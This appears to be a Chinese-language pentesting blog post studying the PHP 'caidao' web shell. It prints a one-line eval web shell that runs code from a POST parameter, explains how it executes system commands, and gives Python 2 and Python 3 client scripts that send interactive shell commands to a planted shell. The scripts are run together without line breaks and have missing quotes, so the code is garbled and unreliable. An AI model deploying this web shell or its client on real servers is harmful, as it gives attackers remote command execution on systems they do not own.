標籤:

php菜刀的研究一

<?php eval($_POST[cmd]);?>

eval() 函數把字元串按照 PHP 代碼來計算。

該字元串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字元串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

通過post請求來進行代碼執行

cmd=echo 1;

返回 echo 輸出的內容

echo `ls`;

執行命令

附上python腳本

python 2.6的

import urllibimport urllib2import sysimport getoptvar = 0p=""a=echo `b=`;url=""h=""opts,args = getopt.getopt(sys.argv[1:],"u:p:h:")for op, value in opts: if op =="-u": url=value elif op =="-p": p=value elif op =="-h": print "help: -u http://localhost/xx.php -p password"while (var<1): shell = raw_input(>>> ) data = {p:a+shell+b} req = urllib2.Request(url,urllib.urlencode(data)); resp = urllib2.urlopen(req) ppp = resp.read() print ppp

python 3.x的

import requestsimport argparseurl = argparse.ArgumentParser()url.add_argument(-u,type=str)url.add_argument("-p",type=str)args = url.parse_args()a = "echo `"b = "`;"var = 1while var == 1: shell = input(">>> ") post = {args.p:a+shell+b} r = requests.post(args.u,post) print(r.text)

推薦閱讀:

[漏洞復現] CVE-2010-2883 Adobe Reader 打開pdf電腦即刻中招
xss漏洞原理分析與挖掘方法
怎麼成為一個合格的滲透測試人員?
[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell

TAG:滲透測試 |